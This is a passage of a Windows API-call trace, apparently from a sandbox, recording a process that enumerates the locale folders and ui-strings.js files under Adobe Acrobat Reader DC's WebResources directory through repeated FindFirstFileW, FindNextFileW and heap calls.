lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.333] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.333] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0256.333] GetProcessHeap () returned 0xc10000 [0256.333] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.333] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0256.334] GetProcessHeap () returned 0xc10000 [0256.334] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.335] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.335] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.335] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.335] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.335] GetProcessHeap () returned 0xc10000 [0256.335] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.335] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0256.335] GetProcessHeap () returned 0xc10000 [0256.336] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.349] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.349] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.350] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.350] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.350] GetProcessHeap () returned 0xc10000 [0256.350] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.350] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0256.350] GetProcessHeap () returned 0xc10000 [0256.350] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.352] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.352] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.352] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.352] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.352] GetProcessHeap () returned 0xc10000 [0256.352] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.352] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0256.353] GetProcessHeap () returned 0xc10000 [0256.353] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.354] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.354] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0256.354] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.354] GetProcessHeap () returned 0xc10000 [0256.354] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.354] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0256.354] GetProcessHeap () returned 0xc10000 [0256.354] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.355] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.355] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.355] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.355] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.355] GetProcessHeap () returned 0xc10000 [0256.355] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.356] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0256.356] GetProcessHeap () returned 0xc10000 [0256.356] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.357] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.357] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.357] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.357] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.357] GetProcessHeap () returned 0xc10000 [0256.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.358] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0256.358] GetProcessHeap () returned 0xc10000 [0256.358] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.358] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.358] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.358] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.358] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.359] GetProcessHeap () returned 0xc10000 [0256.359] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.359] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0256.360] GetProcessHeap () returned 0xc10000 [0256.360] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.360] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.360] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 